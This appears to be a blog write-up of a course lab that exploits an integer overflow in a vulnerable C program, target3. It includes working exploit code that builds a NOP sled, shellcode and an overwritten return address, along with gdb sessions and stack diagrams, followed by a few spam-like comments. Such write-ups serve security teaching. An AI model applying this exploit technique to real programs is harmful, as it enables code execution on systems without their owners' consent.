Suggested readings :
Basic Integer Overflows
On Target 1
Examining /tmp/target3 in Detail
code of executable /tmp/target3 (target3.c) :
#include <stdio.h> #include <stdlib.h> #include <string.h> struct widget_t { double x; double y; int count; }; #define MAX_WIDGETS 1000 int foo(char *in, int count) { struct widget_t buf[MAX_WIDGETS]; if (count < MAX_WIDGETS) memcpy(buf, in, count * sizeof(struct widget_t)); return 0; } int main(int argc, char *argv[]) { int count; char *in; if (argc != 2) { fprintf(stderr, "target3: argc != 2\n"); exit(EXIT_FAILURE); } /* * format of argv[1] is as follows: * * - a count, encoded as a decimal number in ASCII * - a comma (",") * - the remainder of the data, treated as an array * of struct widget_t */ count = (int)strtoul(argv[1], &in, 10); if (*in != ',') { fprintf(stderr, "target3: argument format is [count],[data]\n"); exit(EXIT_FAILURE); } in++; /* advance one byte, past the comma */ foo(in, count); return 0; }
On close inspection, maximum size of buf is 20000 bytes. The struct widget_t has size of 20 (two 8-byte double x & y and a 4-byte int count, see lines 5 to 9 above). We have defined 1000 of it (widget_t, see lines 11 and 15 above), so allowable size (of buf) is equal to 20 x 1000 (= 20000) bytes. To overflow buf, our input data should be longer than it (> 20000). We should also consider the format of the actual input which is <count>,<data> where count is the number of widget_t and data is the input data string as we used to like in the previous exploits. An example of correctly running the program (target3) on the environment shell is /tmp/target3 1,aaaaaaaaaaaaaaaaaaaa. A sample program below can be used to exploit the program above.
To exploit the program, the idea is assign a negative number within the range of int to count which will still satistify , count < MAX_WIDGETS, on line 17 above, and when multiplied by sizeof(struct widget_t), i.e. 20 (see line 18 above), the number will be too much negative that it (negative number) will out-range int. Too negative numbers will wrap around int and will be positive, so memcpy(buf, in, count * sizeof(struct widget_t)) on line 18 above, in a way can cause in to overflow buf.
modified code of executable ./sploit3 (sploit3.c) :
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "shellcode.h" #define TARGET "/tmp/target3" int main(void) { char *args[3]; char *env[1]; char buf[20005]; char *count; int i; int addr; count = "999"; for(i = 0; i < 20005; i++) { if(i < strlen(count)) { *(buf + i) = count[i]; } else if(i < (strlen(count) + 1)) { *(buf + i) = ','; } else if(i < (20000 + strlen(count) + 1)) { *(buf + i) = 'a'; } else { *(buf + i) = '\x00'; } } args[0] = TARGET; args[1] = buf; args[2] = NULL; env[0] = NULL; if (0 > execve(TARGET, args, env)) fprintf(stderr, "execve failed.\n"); return 0; }
Like in sploit1, use gdb to examine foo‘s frame. Examine also the appropriate negative value for count with set and call command.
user@box:~/pp1/sploits$ gdb -e sploit3 -s /tmp/target3 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) catch exec Catchpoint 1 (exec) (gdb) run Starting program: /home/user/pp1/sploits/sploit3 Executing new program: /proc/2979/exe /proc/2979/exe: Permission denied. (gdb) break foo Breakpoint 2 at 0x804846d: file target3.c, line 17. (gdb) continue Continuing. [New process 2979] [Switching to process 2979] Breakpoint 2, foo (in=0xbfffb1ce 'a' <repeats 200 times>..., count=999) at target3.c:17 17 target3.c: No such file or directory. in target3.c (gdb) info frame Stack level 0, frame at 0xbfffb040: eip = 0x804846d in foo (target3.c:17); saved eip 0x804856b called by frame at 0xbfffb070 source language c. Arglist at 0xbfffb038, args: in=0xbfffb1ce 'a' <repeats 200 times>..., count=999 Locals at 0xbfffb038, Previous frame's sp is 0xbfffb040 Saved registers: ebp at 0xbfffb038, eip at 0xbfffb03c (gdb) x buf 0xbfff6218: 0x00000000 (gdb) x 0xbfffb038 0xbfffb038: 0xbfffb068 (gdb) x 0xbfffb03c 0xbfffb03c: 0x0804856b (gdb) x 0xbfffb040 0xbfffb040: 0xbfffb1ce (gdb) x 0xbfffb044 0xbfffb044: 0x000003e7 (gdb) call count * sizeof(struct widget_t) $1 = 19980 (gdb) set count = -1 (gdb) call count * sizeof(struct widget_t) $2 = -20 (gdb) set count = -2147482647 (gdb) call count * sizeof(struct widget_t) $3 = 20020
Results of gdb show that -2147482647 for count is enough to overflow buf (buf[20000]). Also we can visualize foo‘s frame as :
[ -local_var- ][ -ebp- ][ -eip- ][ -params- ] [bfff62-- ][bfffb0-- ][bfffb0-- ][bfffb0-- ] -> first 3 bytes of addresses [18|19|1a|1b|... ...|37][38|39|3a|3b][3c|3d|3e|3f][40|41|42|43|44|45|46|47] -> last bytes of addresses [00|00|00|00|... ...][68|b0|ff|bf][6b|85|04|08][ce|b1|ff|bf|e7|03|00|00] -> data |-----20000 bytes------|
Using overflow method in sploit1 (you can also use sploit2 method), our buffer overflow can be like this :
[ -local_var- ][ -ebp- ][ -eip- ][ -params- ] [bfff62-- ][bfffb0-- ][bfffb0-- ][bfffb0-- ] -> first 3 bytes of addresses [18|19|1a|1b|... ...|37][38|39|3a|3b][3c|3d|3e|3f][40|41|42|43|44|45|46|47] -> last bytes of addresses [00|00|00|00|... ...][68|b0|ff|bf][6b|85|04|08][ce|b1|ff|bf|e7|03|00|00] -> data [<nop>... <shellcode>][<filler>...][18|62|ff|bf][00|00|00|00|00|00|00|00][00|00|00|00| -> buffer overflow |-----------------------------------20020 bytes----------------------------------------|
to implement, below is a sample edit of the for loop in sploit3.c :
addr = 0xbfff6218; count = "-2147482647"; for(i = 0; i < 20032; i++) { if(i < strlen(count)) { *(buf + i) = count[i]; // <count> } else if(i < (strlen(count) + 1)) { *(buf + i) = ','; // <comma> } else if(i < (20000 + strlen(count) + 1 - strlen(shellcode))) { *(buf + i) = '\x90'; // <nop> } else if(i < (20000 + strlen(count) + 1)) { *(buf + i) = shellcode[i - 20000 - strlen(count) - 1 + strlen(shellcode)]; // <shellcode> } else if(i < (20004 + strlen(count) + 1)) { *(buf + i) = '\x90'; // <filler> } else if(i < (20008 + strlen(count) + 1)) { *(buf + i) = addr >> ((i - 20000 - strlen(count) - 1) * 8); // <eip> } else { *(buf + i) = '\x00'; // terminate with null } }
Took me time to read the whole article, the article is great but the comments bring more brainstorm ideas, thanks.
– Johnson
Super-Duper site! I am loving it!! Will come back again – taking you feeds also, Thanks.
Hey very nice blog!! Man .. Beautiful .. Amazing .. I will bookmark your blog and take the feeds
also…